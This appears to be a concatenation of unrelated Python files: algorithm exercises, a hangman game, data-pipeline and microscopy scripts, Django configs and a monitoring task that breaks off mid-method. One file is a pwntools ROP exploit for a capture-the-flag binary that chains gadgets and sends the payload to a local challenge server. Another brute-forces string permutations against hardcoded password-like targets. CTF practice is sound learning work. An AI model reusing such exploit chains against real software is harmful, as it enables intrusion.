import pygame
import serial

(SCREEN_WIDTH, SCREEN_HEIGHT) = (300, 200)
SCREEN = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))

BACKGROUND_COLOUR = (32, 32, 32)

pygame.display.set_caption('EOgmaDrive Controller')

pygame.font.init()
FONT = pygame.font.SysFont("Arial", 20)

def display_mode(string, colour):
    """ Display centered text """
    text = FONT.render(string, True, colour)
    text_rect = text.get_rect(center=(SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2))
    SCREEN.blit(text, text_rect)

def main():
    """ Main function """
    port = serial.Serial(port="/dev/ttyACM0", baudrate=9600)
    if port._isOpen == False:
        print("Failed to open /dev/ttyACM0")
        pygame.quit()
        return

    training = True

    SCREEN.fill(BACKGROUND_COLOUR)
    display_mode(string="Mode: TRAINING", colour=(64, 64, 255))

    pygame.display.flip()

    running = True
    while running:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                running = False
            if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
                running = False

            if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:
                SCREEN.fill(BACKGROUND_COLOUR)

                if training:
                    training = False
                    port.write(b'P')
                    display_mode(string="Mode: PREDICTING",
                                 colour=(255, 64, 64))
                else:
                    training = True
                    port.write(b'T')
                    display_mode(string="Mode: TRAINING",
                                 colour=(64, 64, 255))

                pygame.display.flip()

    port.close()
    pygame.quit()

if __name__ == '__main__':
    main()


# Given an array arr, replace every element in that array with the greatest element
# among the elements to its right, and replace the last element with -1.
# input = [17,18,5,4,6,1]
# output = [18,6,6,6,1,-1]

class Solution:
    def max_list_value(self, arr: list) -> int:
        max_value = 0
        for i in arr:
            if i > max_value:
                max_value = i

        return max_value

    def replaceElements(self, arr: list) -> list:
        if (len(arr) >= 1) and (len(arr) <= 10**4):
            #counter = 0
            size = len(arr)
            for i in range(0, size):
                arr[i] = self.max_list_value(arr[i+1:size])
            arr[-1] = -1

        return(arr)

        #[1,2,5,4,3,0]
        #[5,2,5,4,3,0]
        #[5,5,5,4,3,0]
        #[5,5,4,4,3,0]
        #[5,5,4,3,3,0]
        #[5,5,4,3,0,0]
        #[5,5,4,3,0,-1]

        #[0,0,0]
        #[1,1,1,1]
        #[5,4,3,2,1]
        #[1,2,3,4,5]
        #[6,2,5,6,2,0]


import itertools
import string

#chars = string.digits

chars = input("Entre com a string a ser permutada: ex(luis123@) \n")

resultado = itertools.permutations(chars, len(chars))

for i in resultado:
    print(''.join(i))
    if 'sanethay@' == ''.join(i):
        break
    if 'teste123' == ''.join(i):
        break


import pandas as pd
from unittest import TestCase
from models.lightfm import (
    SimpleLightFM,
    SimpleWeightedLightFM
)

class TestLightFM(TestCase):

    def setUp(self) -> None:
        self.df = pd.DataFrame([
            {'uid': 1, 'iid': 1, 'ts': '2021-01-01'},
            {'uid': 1, 'iid': 2, 'ts': '2021-01-01'},
            {'uid': 1, 'iid': 3, 'ts': '2021-01-01'},
            {'uid': 2, 'iid': 5, 'ts': '2021-01-01'},
            {'uid': 2, 'iid': 2, 'ts': '2021-01-01'},
            {'uid': 1, 'iid': 4, 'ts': '2021-01-01'}
        ])
        self.df['ts'] = pd.to_datetime(self.df['ts'])
        self.df['watched_pct'] = 100

    def test_simple(self):
        rec = SimpleLightFM(
            no_components=10,
            item_col='iid',
            user_col='uid',
            date_col='ts',
            watched_pct_min=0,
            watched_pct_max=100
        )
        rec.fit(self.df)
        recs = rec.recommend(user_ids=[1, 2], N=10)
        self.assertEqual(
            [1, 3],
            [len(r) for r in recs.values.tolist()]
        )

    def test_simple_weighted(self):
        rec = SimpleWeightedLightFM(
            no_components=10,
            item_col='iid',
            user_col='uid',
            date_col='ts',
            watched_pct_min=0,
            watched_pct_max=100
        )
        rec.fit(self.df)
        recs = rec.recommend(user_ids=[1, 2], N=10)
        self.assertEqual(
            [1, 3],
            [len(r) for r in recs.values.tolist()]
        )


"""
https://open.kattis.com/problems/loworderzeros
Author: https://github.com/smh997/
"""
li = [0] * 1000001
fac = 1
for i in range(1, 1000001):
    fac *= i
    while not fac % 10:
        fac //= 10
    li[i] = fac % 10
    fac %= 1000000
while True:
    n = int(input())
    if not n:
        break
    print(li[n])


import psycopg2
import time
from configparser import ConfigParser

config = ConfigParser()
config.read(['/etc/flant-testcase.conf'])

db_url = config.get('main', 'database')
db = psycopg2.connect(db_url)

def save_hit(url):
    crs = db.cursor()
    crs.execute('insert into hit (url) values (%(url)s)',
                {'url': url})
    crs.close()
    db.commit()

def application(env, start_response):
    url = env["PATH_INFO"]
    save_hit(url)
    start_response('200 OK', [('Content-Type', 'text/html; charset=utf-8')])
    return ["That's what we've got: {0}@{1}".format(url, unicode(time.time()))]


from dialog_darwin import DialogDarwin
import platform

def get_object():
    system = platform.uname().system.lower()
    if system == "darwin":
        return DialogDarwin()

    else:
        raise Exception("Not implemented yet, Linux and Windows support expected in few days")

if __name__ == "__main__":
    get_object()


import requests
import random
import asyncio
import os

progress = [
"""
┳━━━━━━━━━━┓
┃         🏮
┃         /|\\
┃
┃
┃
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃         🏮
┃         /|\\
┃
┃
┃
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃         /|\\
┃
┃
┃
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃
┃
┃
┃
┃
┃
"""
,

"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃   🎩
┃
┃
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃   👔
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃  /👔
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃  /👔\\
┃
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃  /👔\\
┃   👖
┃
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃  /👔\\
┃   👖
┃  /
┃
"""
,
"""
┳━━━━┿━━━━━┓
┃    │    🏮
┃    │    /|\\
┃  ╭🎩╮
┃  ╰👴╯
┃  /👔\\
┃   👖
┃  /  \\
┃
"""
]
gameOver = False
site = "https://www.mit.edu/~ecprice/wordlist.10000"
Response = requests.get(site)
words = [i for i in Response.content.decode().split("\n") if len(i) >= 5]

Loop = asyncio.get_event_loop()

async def Preview(Text, Length):
    def Render(Countdown):
        os.system("cls||clear")
        print(f"{Text}\n\nPreview countdown in {Length - Countdown}\n[{''.join(Progress)}]")
    Progress = ["🟥" for i in range(Length)]
    Render(0)
    for i in range(1, Length + 1):
        Progress[i - 1] = "🟩"
        await asyncio.sleep(1)
        Render(i)
    await asyncio.sleep(1)
    os.system("cls||clear")

while not gameOver:
    word = random.choice(words).lower()
    guess = []
    Counter = 0
    os.system("cls||clear")
    start = input("Do you want to play Hangman game?\nPlease enter y(yes) or n(no): ")
    while start != "y" and start != "n":
        start = input("Do you want to play Hangman game?\nPlease enter y(yes) or n(no): ")
    if start == "n":
        break
    while not gameOver:
        os.system("cls||clear")
        Counter += 1
        if Counter >= len(progress):
            print(progress[Counter - 1].strip())
            Loop.run_until_complete(Preview(f"Game over! You died! The word is `{word}`", 10))
            break
        print(progress[Counter - 1].strip())
        key = ["_" for i in range(len(word))]
        for i in range(len(word)):
            if list(word)[i] in guess:
                key[i] = list(word)[i]
        if "_" not in key:
            print(" ".join(key))
            Loop.run_until_complete(Preview("You won the game!", 5))
            break
        print(" ".join(key))
        userInput = input("Please enter a letter: ").lower()
        if userInput.isalpha() and len(userInput) == 1 and userInput in word:
            if userInput not in guess:
                guess.append(userInput)
                if Counter > 0:
                    Counter -= 1
        continue
os.system("cls||clear")


# list1=[1,2,3,4,5,6]
# list2=[2,3,1,0,6,7]
# i=0
# while i<len(list1):
#     if list1[i] not in list2:
#         list2.append(list1[i])
#     if list2[i] not in list1:
#         list1.append(list2[i])
#     i+=1
# print(list1)
# print(list2)

list1=[1,2,3,4,5,6]
list2=[2,3,1,0,6,7]
i=0
a=[]
b=[]
while i<len(list1):
    if list1[i] not in list2:
        a.append(list1[i])
    if list2[i] not in list1:
        b.append(list2[i])
    i+=1
a.append(b)
print(a)
# print(b)


class Node:
	 def __init__(self,dataVal):
			self.dataVal = dataVal
			self.nextVal = None

class LinkedList:
	 def __init__(self):
			self.headVal = None

	 # Function to add a new node at the BEGINING
	 def insertAtBeign(self,newData):
			NewNode = Node(newData)
			NewNode.nextVal = self.headVal
			self.headVal = NewNode

	 # Function to add a new node at the END
	 def insertAtEnd(self,newData):
			NewNode = Node(newData)
			if self.headVal is None:
				 self.headVal = NewNode
				 return

			last = self.headVal
			while(last.nextVal):
						last = last.nextVal
			last.nextVal = NewNode

	 # Print the linked List
	 def listPrint(self):
			printVal = self.headVal
			while printVal is not None:
				 print(printVal.dataVal)
				 printVal = printVal.nextVal

list_ = LinkedList()
list_.headVal = Node("One")
item1 = Node("Two")
item2 = Node("Three")

list_.headVal.nextVal = item1
item1.nextVal = item2

list_.insertAtEnd("Five")
list_.insertAtBeign("-2")
list_.listPrint()


import os

class yap_conflict_check:

    """
    Provides methods to perform file-file, file-sample, file-group and
    sample-group comparisons and find conflicts.

    """

    def __init__(self, input_files):
        self.input_files = map(self.translate_path, input_files)
        self.filename_dict = \
            self.generate_filename_dict(self.input_files)

    def translate_path(self, path):
        """
        Given a path,
        Returns a path after expanding environment and user variables and
        relative paths to absolute path
        """
        path = os.path.expandvars(path)  # expand environment variables
        path = os.path.expanduser(path)  # expand user's home directory
        # don't convert to absolute if just filename
        if len(os.path.dirname(path)) == 0 and (path not in ['.', ".."]):
            return path
        path = os.path.abspath(path)  # convert relative path to absolute
        return path  # return output

    def translate_paired_end_paths(self, paired_end_files):
        '''
        Given a list of paired end files
        Returns a new list of paired end files with each file translated
        using translate path function
        '''
        if len(paired_end_files) <= 0:
            return []  # return empty o/p
        paired_end_files_out = []  # output variable
        for paired_list in paired_end_files:  # translate each paths
            paired_list_out = map(self.translate_path, paired_list)
            paired_end_files_out.append(paired_list)  # append to o/p
        return paired_end_files_out  # return output

    def get_paths(self, name):
        '''
        Given a name,
        Returns the list of paths matching to the key similar to the
        name
        '''
        if len(name) <= 0:
            return None  # return null for empty input
        # return if an exact match is found
        if name in self.filename_dict:
            return self.filename_dict[name]
        # return all values for a partial match
        matches = []
        for key in self.filename_dict:
            if key.find(name) == 0:
                new_paths = self.find_new_items(matches,
                                                self.filename_dict[key])
                # extend only if a unique match is found
                if len(new_paths) > 0:
                    matches.extend(new_paths)
        if len(matches) == 0:
            return None  # return null if no matches
        else:
            return matches  # return output

    def find_new_items(self, current_list, new_list):
        '''
        Given two lists,
        Returns items which are not available in current lists,
        Return empty list if no such items are found
        '''
        if len(current_list) == 0:
            return new_list  # all paths are new
        # select an items not in current list and return list
        return filter((lambda item: item not in current_list),
                      new_list)

    def validate_names_and_find_duplicates(self, names):
        '''
        Given list of filenames,
        Calls validate_names_and_find_duplicates_with_finder with
        get_paths as finder and returns the result
        '''
        return self.validate_names_and_find_duplicates_with_finder(
            names,
            self.get_paths)

    def validate_names_and_find_duplicates_with_finder(self, filenames,
                                                       finder):
        """
        Input:
                --filenames: a list of filenames occured in contaminant file
        Check if all filenames exist in input files name and
        there is no filename duplicate in filenames.
        Return values:
                --match_list:
                --error_list: all filenames which not exist in input files name
                --duplicate_dict: [key:value]
                        -key: filename which duplicate happens
                        -value: all path this filename occurs
        """
        match_list = []
        error_list = []
        duplicate_dict = {}
        # translate all filenames paths to complete paths
        filenames = map(self.strip_space_tab_newline, filenames)
        filenames = map(self.translate_path, filenames)
        for fn in filenames:
            if fn in self.input_files:
                # filename exist in self.input_files
                match_list.append(fn)
            else:
                # treat fn as basename
                paths = finder(fn)
                if paths is not None:
                    # basename exists
                    if len(paths) > 1:
                        # duplicate happens
                        duplicate_dict[fn] = paths
                    else:
                        # no duplicate
                        match_list.extend(paths)
                else:
                    # basename not exists
                    error_list.append(fn)
        return match_list, error_list, duplicate_dict

    def generate_filename_dict(self, paths):
        """
        Given a list of complete filepaths,
        Returns a dictionary, with keys as filenames and values as list of
        all paths that contain the corresponding key
        Invariant: Paths contain filenames complete with extension.

        """
        output = {}  # output variable
        if len(paths) <= 0:
            return output  # return empty output for empty input
        for path in paths:
            output[path] = [path]  # add each path as key also.
            basename = os.path.basename(path)  # get filename from path
            if len(basename) <= 0:
                continue  # skip if no filename in path
            # get name without extension
            basename_no_ext = os.path.splitext(basename)[0]
            # create a new entry if it does not exist, append otherwise
            if basename in output:
                output[basename].append(path)
            else:
                output[basename] = [path]
            # include a name with filename without extension also
            if len(basename_no_ext) <= 0:
                continue  # skip if name is exmpty
            if basename_no_ext != basename:  # add an entry for just filename
                if basename_no_ext in output:
                    output[basename_no_ext].append(path)
                else:
                    output[basename_no_ext] = [path]
        return output  # return dict

    def find_duplicates_in_list(self, input):
        """
        Given a list,
        Returns a dictionary of all duplicates in the list,
        Return empty dictionary if no duplicate entries are found.

        """
        output = {}  # output variable
        if len(input) <= 0:
            return output  # return empty output for empty input
        for item in input:
            if item not in output:  # check only if item not seen earlier
                item_count = input.count(item)  # count items
            # add to output if item occurs more than once in list
            if item_count > 1:
                output[item] = item_count
        return output

    def list_to_sentence(self, list):
        """
        Translate the given list to a string.

        """
        sentence = ""
        for i in range(0, len(list)):
            if i == len(list) - 1:
                sentence += "'" + list[i] + "'"
            else:
                sentence += "'" + list[i] + "' and "
        return sentence

    def strip_space_tab_newline(self, input):
        '''
        Given a string,
        Returns a string after removing starting and trailing spaces,
        tabs and new line character
        '''
        if len(input) <= 0:
            return ''  # empty o/p for empty i/p
        input = input.strip()
        input = input.strip('\n')
        input = input.strip('\t')
        return input


import argparse
from glob import glob
import os
from pathlib import Path
import re

from aicsimageio import AICSImage
import numpy as np
import pandas as pd
from scipy.ndimage import affine_transform
import skimage.io as skio
import yaml
from yaml.loader import SafeLoader

overwrite = True

import registration_utils

def os_swap(x):
    out = "/" + ("/".join(x.split("\\"))).replace("//", "/")
    return out

parser = argparse.ArgumentParser()
parser.add_argument(
    "--output_path",
    type=str,
    required=True,
    help="output dir of all processing steps. This specifies where to find the yml_configs too",
)
parser.add_argument(
    "--barcode", type=str, required=True, help="specify barcode to analyze"
)

parser.add_argument(
    "-p",
    "--position_list",
    nargs='*',
    type=str,
    required=False,
    help="specify positions to process. E.g. -p P1 P2"
)

parser.add_argument("--method",
            choices=['cross_cor', 'ORB', 'merged']
)

if __name__ == "__main__":
    args = parser.parse_args()

    # Open the file and load the file
    # Open the file and load the file
    barcode = args.barcode

    yaml_dir = os.path.join(args.output_path, "yml_configs")

    yaml_list = [x for x in os.listdir(yaml_dir) if "_confirmed" in x]
    yaml_list = [x for x in yaml_list if barcode in x]
    dflist = []
    for y in yaml_list:
        print(y)
        yml_path = yaml_dir + os.sep + y
        with open(yml_path) as f:
            data = yaml.load(f, Loader=SafeLoader)
            for round_dict in data["Data"]:
                dfsub = pd.DataFrame(round_dict.values(), index=round_dict.keys()).T
                dfsub["barcode"] = data["barcode"]
                dfsub["scope"] = data["scope"]
                dfsub["output_path"] = data["output_path"]
                dflist.append(dfsub)

    dfconfig = pd.concat(dflist)
    dfconfig.set_index(["barcode", "round"], inplace=True)

    mag = "20x"

    output_dir = dfconfig["output_path"][0]
    csv_dir = output_dir + os.sep + "csvs"
    csv_name = barcode + "cleanedup_match_csv.csv"
    csv_path = csv_dir + os.sep + csv_name
    print("\n\n" + csv_path + "\n\n")
    # dfall = pd.read_csv(csv_path)
    dfall = pd.read_csv(csv_path)

    output_dir = dfconfig["output_path"][0]
    align_csv_dir = output_dir + os.sep + "alignment_csvs_each_" + args.method
    align_csv_name_glob = f"{barcode}*alignment_csv_each.csv"
    print(align_csv_name_glob)
    globlist = glob(align_csv_dir + os.sep + align_csv_name_glob)
    dfalign_list = []
    for align_csv_path in globlist:
        # align_csv_path = align_csv_dir + os.sep + align_csv_name
        df = pd.read_csv(align_csv_path)
        dfalign_list.append(df)
    dfalign = pd.concat(dfalign_list)

    dfall["parent_file"] = dfall["parent_file"].apply(lambda x: os_swap(x))

    # merge both dataframes so that you only try to align the positions that can be aligned.
    dfall = pd.merge(
        dfalign,
        dfall,
        on=["key", "template_position"],
        suffixes=("_align", ""),
        how="left",
    )

    keylist = dfall["key"].unique()
    # for Position in ['P2']:

    if args.position_list is not None:
        template_position_list = [x for x in np.sort(dfall["template_position"].unique()) if x in args.position_list]
        print('choosing subset of positions = ', args.position_list)
    else:
        template_position_list = np.sort(dfall["template_position"].unique())

    print(template_position_list)
    # go one position by position, since you need offsets per position
    for Position in template_position_list:

        print("POSITION = ", Position)

        # need to define the keylist for each position, since some positions may not be imaged every round
        keylist = dfall.set_index("template_position").loc[Position, "key"].unique()
        # keylist = [x for x in keylist if "Time" not in x]
        # print(testing_keylist)
        # for ki, key in enumerate(testing_keylist):
        key = '20x_Timelapse'
        if key not in keylist:
            key = 'Round 1'
            print('no timelapse present: choosing round 1 instead')

        print(key)

        # first thing that needs to be found is the reference image (i.e. timelapse image) details

        if args.method == "merged":
            alignment_offset = eval(
                dfall.set_index(["key", "template_position"]).loc[
                    pd.IndexSlice[key, Position], "best_alignment_params"
                ]
            )
        else:
            alignment_offset = eval(
                dfall.set_index(["key", "template_position"]).loc[
                    pd.IndexSlice[key, Position], "alignment_offsets_zyx"
                ]
            )

        print(alignment_offset)

        # then the shape of the aligned images needs to be determined
        initial_shape = [45,1248,1848]

        zpad = 20
        xypad = 300
        final_shape = np.uint16(
            np.asarray(
                [
                    initial_shape[0] + zpad*2,
                    initial_shape[1] + xypad*2,
                    initial_shape[2] + xypad*2,
                ]
            )
        )

        # initial image size as mimic. The goal is to shift an image of ones in the same way the reference image was shifted so this becomes a mask for cropping
        blank_image = np.ones(initial_shape,dtype='uint16')

        #now compute the alignment transform for the reference image
        align_matrix = registration_utils.get_align_matrix(alignment_offset)
        shift_to_center_matrix = registration_utils.get_shift_to_center_matrix(
            blank_image.shape, final_shape
        )
        combo = shift_to_center_matrix @ align_matrix

        # now perform the alignment transform to shift the ones
        transformed_blank = affine_transform(
            blank_image,
            np.linalg.inv(combo),
            output_shape=final_shape,
            order=0,  # order = 0 means no interpolation...juust use nearest neighbor
        )

        # now perform max intensity projection since the upcoming crop will be performed on the max intensity projection exports.
        transformed_blank_mip = np.max(transformed_blank,axis=0)

        # now identify the crop ROI

        crops = [0,0,0] #gap between edge of label and edge of roi z,y,x
        py, px = np.nonzero(transformed_blank_mip)
        roi=[]
        for pi,p in enumerate([py,px]):
            roi.extend( [np.max( (p.min()-crops[pi], 0) ),
                        np.min( (p.max() + crops[pi], transformed_blank_mip.shape[pi]) )] )

        # this index epxression can now be applied to all the images for a given position (rounds and timepoints and channels) to crop
        crop_expression = np.index_exp[roi[0]:roi[1],roi[2]:roi[3]]
        print(crop_expression)

        dfr = dfall.set_index(["template_position", "key"])
        dfsub = dfr.loc[pd.IndexSlice[[Position], [key]], :]
        parent_file = dfsub["parent_file"][0]
        scene = dfsub["Scene"][0]

        # # 3 get variables for file name
        # # round_num0 = re.search("time|Round [0-9]+", parent_file, re.IGNORECASE).group(0)
        # search_out = re.search("time|Round [0-9]+", parent_file, re.IGNORECASE)
        # assert search_out is not None  # necessary for passing mypy type errors
        # round_num0 = search_out.group(0)

        scene_num = str(scene).zfill(2)
        position_num = Position[1::].zfill(2)
        well = dfsub["Well_id"][0]

        position = Position
        si = int(scene) - 1  # scene_index

        # mip_exportstest_v3_merged
        sep = os.sep
        globdir = (
            f"{output_dir}{sep}mip_exportstest_v3_merged{sep}{barcode}-export{sep}"
        )

        # now search for the images to crop
        fovid = f"{barcode}_R*_P{position_num}"
        globname = (
            f"{fovid}-mip-c*_T*.tif"
        )
        globpath = os.path.abspath(f"{globdir}{sep}{globname}")

        # now find all files associated with that position and round number (should be multiple channels and potentially multiple timepoints)
        globlist = glob(globpath)
        # [print(x) for x in globlist]
        print(len(globlist))

        # now iterate through all the files and perform the cropping.
        for imgi,img_path in enumerate(globlist):
            reader = AICSImage(img_path)
            img = np.squeeze(reader.get_image_data())
            crop_img = img[crop_expression]

            # now determine where to save the cropped image
            savedir = (
            f"{output_dir}{sep}mip_exports_tcropped_v3{sep}{barcode}{sep}"
            )

            savename = Path(img_path).name
            savepath = savedir + os.sep + savename

            if not os.path.exists(savedir):
                os.makedirs(savedir)
                print("making", os.path.abspath(savedir))

            file_name_stem = Path(dfsub["parent_file"].iloc[0]).stem

            assert os.path.abspath(savepath) is not os.path.abspath(img_path)

            skio.imsave(
                savepath, np.uint16(crop_img), check_contrast=False
            )

            if imgi==0:
                print(os.path.abspath(savepath))


#!/usr/bin/env python3

from pwn import *

print("Hello")

e = ELF('vader')

vaderAddr = e.symbols['vader']
print("vader function @ {}".format(hex(vaderAddr)))

r = ROP(e)
print(r.r8)
print(r.rdi)
print(r.rsi)
print(r.rdx)
print(r.rcx)

payload = b""
charToAdd = 0x61 # lower A
for i in range(0,10):
    charsToAdd = chr(charToAdd) * 4
    print("charsToAdd = {}".format(charsToAdd))

    bytesToAdd = charsToAdd.encode("utf-8")
    payload += bytesToAdd
    charToAdd += 1

string_dark_address  = 0x00402ec9
string_side_address  = 0x402ece
string_of_address    = 0x402ed3
string_the_address   = 0x402ed6
string_force_address = 0x402eda

# rdi gadget
rdi_gadget = 0x40165b
payload += p64(rdi_gadget)

payload += p64(string_dark_address) # 'DARK' address

# rcx and rdx gadget
rcx_rdx_gadget = 0x4011cd
payload += p64(rcx_rdx_gadget)

payload += p64(string_the_address)
payload += p64(string_of_address)

#rsi gadget
rsi_gadget = 0x401659
payload += p64(rsi_gadget)

payload += p64(string_side_address)
payload += p64(0xfacea555) # gadget also loads r15 which we don't need

#r8 gadget
r8_gadget = 0x4011d9
payload += p64(r8_gadget)

payload += p64(string_force_address)

payload += p64(vaderAddr)
payload += b"\n"

print("Payload: {}".format(payload))

#sh = process('./vader')

# Running against my own docker instance running the challenge
sh = remote("127.0.0.1",1337)

#sh = gdb.debug('./vader', '''
#        b *0x4015f3
#        continue
#        ''')

sh.recvuntil(b'>>>', drop=True)

sh.send(payload)
sh.interactive()


# Stdlib imports
# Core Django imports
from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _

# Third-party app imports
# Imports from my app

class StationsPlotsConfig(AppConfig):
    name = "src.plots"
    verbose_name = _("StationsPlots")

class DomainsPlotsConfig(AppConfig):
    name = "src.plots"
    verbose_name = _("DomainsPlots")


import importlib
from django.db import migrations

original_migration_module = importlib.import_module("evap.evaluation.migrations.0123_evaluation_state_fsm_int")

class Migration(migrations.Migration):
    """
    Initially, we forgot to migrate logentries in 0123, so this migration cleans this up.
    Note that 0123 is now modified to also take care of the logentries in the first place.
    """

    dependencies = [
        ("evaluation", "0126_add_textanswer_review_email_template"),
    ]

    operations = [
        migrations.RunPython(original_migration_module.logentries_str_to_int, migrations.RunPython.noop),
    ]


import copy
import json
import logging
import time

import gevent
from gevent import monkey

from common.influxdb import influxdb_connections
from utils.time import floor_minute

from dmonitor.alert.alert_codes import AlertCode, AlertLevel, AlertStatus, AlertType
from dmonitor.metrics.base import DataLossOutputTotal
from dmonitor.base import BaseDmonitorTaskGreenlet
from dmonitor.settings import DMONITOR_TOPICS

monkey.patch_all()

def data_trend_alert():
    logging.info("Start to execute data trend monitor task")

    task_configs = {
        "consumer_configs": {
            "type": "kafka",
            "alias": "op",
            "topic": "dmonitor_output_total",
            "partition": False,
            "group_id": "dmonitor_data_trend",
            "batch_message_max_count": 100000,
            "batch_message_timeout": 5,
        },
        "task_pool_size": 50,
    }

    try:
        task = DataTrendAlertTaskGreenlet(configs=task_configs)
        task.start()
        task.join()
    except Exception as e:
        logging.error(
            "Raise exception({error}) when init data trend alert task".format(error=e),
            exc_info=True,
        )

class DataTrendAlertTaskGreenlet(BaseDmonitorTaskGreenlet):
    """
    最近M分钟数据量平均值，与N天前同一时间范围内数据量平均值相比
    阈值超过K则告警
    """

    DETECT_INTERVAL = 60
    PENDING_TIME = 900
    CACHE_REFRESH_INTERVAL = 180
    CACHE_REFRESH_ERROR_INTERVAL = 180

    WINDOW_START_DIFF = -900
    WINDOW_END_DIFF = -300
    FETCH_HISTORY_DATA_STEP = 60
    FETCH_INTERVAL = 60
    CLEAR_TIMEOUT = 1200
    BUFF_TIME = 61

    ALERT_CODE = AlertCode.DATA_TREND.value
    ALERT_LEVEL = AlertLevel.WARNING.value
    ALERT_TYPE = AlertType.DATA_MONITOR.value

    ALERT_MESSAGE = (
        "{entity_display}最近{window_time_display}数据量平均{data_total_cnt}条/分，"
        "比{period_time_display}前同比{diff_trend}{diff_count}，{period_time_display}前平均{last_total_cnt}条/分"
    )
    ALERT_MESSAGE_EN = (
        "Average data count per minute during recent {window_time_display_en} is {data_total_cnt}. "
        "{diff_trend_en} {diff_count} compared with {period_time_display_en} ago."
    )
    ALERT_FULL_MESSAGE = (
        "{entity_display}({logical_tag})最近{window_time_display}数据量平均{data_total_cnt}条/分，"
        "比{period_time_display}前同比{diff_trend}{diff_count}，{period_time_display}前平均{last_total_cnt}条/分"
    )
    ALERT_FULL_MESSAGE_EN = (
        "Average data about {entity_display_en}({logical_tag}) count per minute during recent {window_time_display_en} "
        "is {data_total_cnt}. {diff_trend_en} {diff_count} compared with {period_time_display_en} ago."
    )

    def __init__(self, *args, **kwargs):
        """初始化数据波动告警任务

        :param task_configs: 缓存同步任务配置
            {
                'consumer_configs': {
                    'type': 'kafka',
                    'alias': 'op',
                    'topic': 'bkdata_data_monitor_metrics591',
                    'partition': False,
                    'group_id': 'dmonitor',
                    'batch_message_max_count': 5000,
                    'batch_message_timeout': 0.1,
                },
                'task_pool_size': 100,
            }
        """
        configs = kwargs.pop("configs", {})

        super(DataTrendAlertTaskGreenlet, self).__init__(*args, **kwargs)

        self.init_consumer(configs.get("consumer_configs"))
        self.init_task_pool(configs.get("task_pool_size"))

        now = time.time()

        self._debug_data_sets = configs.get("debug_data_sets", [])
        self._filter_modules = configs.get("filter_modules", [])
        self._metric_cache = {}
        self._flow_infos = {}
        self._alert_configs = []
        self._last_detect_time = now + self.PENDING_TIME
        self._cache_last_refresh_time = None

        self.refresh_metadata_cache(now)

    def refresh_metadata_cache(self, now):
        """刷新数据延迟监控依赖的元数据信息

        :param now: 当前刷新缓存的时间
        """
        if (
            self._cache_last_refresh_time
            and now - self._cache_last_refresh_time < self.CACHE_REFRESH_INTERVAL
        ):
            return

        gevent.spawn(
            self.refresh_metadata,
            self._flow_infos,
            self.fetch_flow_infos,
            args={"with_nodes": True},
            default=copy.deepcopy(self._flow_infos),
            update=False,
        )

        self._cache_last_refresh_time = now

    def handle_monitor_value(self, message, now):
        """处理各个模块上报的任务埋点

        :param message: 延迟原始指标
            {
                "time": 1542960360.000001,
                "database": "monitor_data_metrics",
                "data_delay_max": {
                    "waiting_time": 1542960360,
                    "data_time": 1542960360,
                    "delay_time": 1542960360,
                    "output_time": 1542960360,
                    "tags": {
                        "module": "stream",
                        "component": "flink",
                        "cluster": null,
                        "storage": "channel_11",
                        "logical_tag": "591_test1119str",
                        "physical_tag": "171_1fe25fadfef54a4899d781fc9d1e55d3|591_test1119str|0"
                    }
                }
            }
        :param now: 当前处理数据的时间
        """
        try:
            if "data_loss_output_total" in message:
                metric = DataLossOutputTotal.from_message(message)

                # 排除掉不进行数据波动检测的模块
                module = metric.get_tag("module")
                if module in self._filter_modules:
                    return

                flow_id = str(metric.get_tag("flow_id"))
                node_id = str(metric.get_tag("node_id"))
                storage = metric.get_tag("storage")
                logical_key = self.gen_logical_key(metric.tags)
                if not flow_id:
                    return
                if not storage or storage == "None":
                    return
                if flow_id not in self._metric_cache:
                    self._metric_cache[flow_id] = {}
                if node_id not in self._metric_cache[flow_id]:
                    self._metric_cache[flow_id][node_id] = {}
                if logical_key not in self._metric_cache[flow_id][node_id]:
                    self._metric_cache[flow_id][node_id][logical_key] = {
                        "tags": metric.tags,
                        "recent": {},
                        "history": {},
                    }

                metric_time = str(floor_minute(metric.timestamp))

                if (
                    metric_time
                    not in self._metric_cache[flow_id][node_id][logical_key]["recent"]
                ):
                    self._metric_cache[flow_id][node_id][logical_key]["recent"][
                        metric_time
                    ] = 0
                self._metric_cache[flow_id][node_id][logical_key]["recent"][
                    metric_time
                ] += metric.get_metric(
                    "data_inc",
                    0,
                )
        except Exception as e:
            logging.error(
                "Combine data error: %s, message: %s" % (e, json.dumps(message)),
                exc_info=True,
            )

    def do_monitor(self, now, task_pool):
        if now - self._last_detect_time > self.DETECT_INTERVAL:
            self._alert_configs = self.fetch_alert_configs()

            self.collect_detecting_data(now)
            self.detect_metrics(now)
            self.clear_metrics(now)

            self._last_detect_time = now

    def collect_detecting_data(self, now):
        # 统计需要手机的历史数据对应的周期
        detecting_periods = set()
        for alert_config in self._alert_configs:
            data_trend_config = alert_config.get("monitor_config", {}).get(
                self.ALERT_CODE, {}
            )
            if data_trend_config.get("monitor_status", "off") == "on":
                period = data_trend_config.get("diff_period")
                for target in alert_config.get("monitor_target", []):
                    flow_id, node_id = self.get_flow_node_by_target(target)
                    if not flow_id:
                        continue
                    detecting_periods.add((str(flow_id), period))

